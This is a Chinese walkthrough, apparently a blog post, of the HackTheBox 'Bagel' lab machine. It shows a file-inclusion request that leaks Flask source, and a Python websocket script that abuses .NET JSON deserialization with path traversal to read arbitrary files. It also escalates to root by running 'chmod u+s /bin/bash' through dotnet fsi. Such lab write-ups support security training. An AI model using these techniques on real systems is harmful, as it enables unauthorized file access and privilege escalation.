【HackTheBox Bagel】打靶记录

一、namp扫描到5000 8000 22 端口

二、访问8000端口,看到跳转到域名bagel.htb,加入到hosts
在这里插入图片描述
看到该url 像文件包含,尝试fuzz一波
在这里插入图片描述
尝试找公私钥均未果,找到了cmdline
在这里插入图片描述
进一步对其包含
在这里插入图片描述

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Mon, 15 May 2023 05:28:18 GMT
Content-Disposition: inline; filename=app.py
Content-Type: text/x-python; charset=utf-8
Content-Length: 1235
Last-Modified: Sun, 23 Oct 2022 14:06:13 GMT
Cache-Control: no-cache
ETag: "1666533973.0-1235-3339458021"
Date: Mon, 15 May 2023 05:28:18 GMT
Connection: close

from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

don’t forget to run the order app first with “dotnet <path to .dll>” command. Use your ssh key to access the machine
这一句话 引起了我的注意 他的意思是使用 donet <dll 的路径 >
我们得想办法拿到dll的路径
想到可以包含 /proc/进程号/cmdline 来爆破
在这里插入图片描述
在这里插入图片描述
得到bagel.dll 使用dnspy进行反编译
在这里插入图片描述
这里找到了账号密码,但是限制了ssh 登录
在这里插入图片描述
该属性有getter和setter两个方法,可以通过属性来获取ReadOrder的值;
当设置ReadOrder变量的值时,首先会将该值中的“/”和“…”字符替换为空字符串,以防止目录穿越攻击。然后,将order_filename变量设置为过滤后的值,最后将file.ReadFile设置为order_filename的值,以指定要读取的文件路径。
当读取ReadOrder变量的值时,会返回file.ReadFile的值,即当前指定的要读取的文件的内容
在这里插入图片描述
结合上面获取到的python源码,编写一个读取文件的脚本

import sys
import websocket
import json

if len(sys.argv) < 2:
    print(f"Usage: python3 {sys.argv[0]} <filename>")
    sys.exit(1)

ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/")

order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": f"../../../../../../../{sys.argv[1]}"}}
data = str(json.dumps(order))
ws.send(data)
output = ws.recv()
json = json.loads(output)
print(json["RemoveOrder"]["ReadFile"])

在这里插入图片描述
在这里插入图片描述
使用前面得到的developer 账户的密码看看
在这里插入图片描述
发现 成功进来 并且 developer 账户可以以root权限 使用dotnet 命令

在这种情况下,让我们以root身份打开.NET交互式控制台(fsi)。

在交互式控制台中,我们可以用F#语言编写代码,执行命令 “chmod u+s /bin/bash”

执行的代码为:

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丢了少年失了心1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值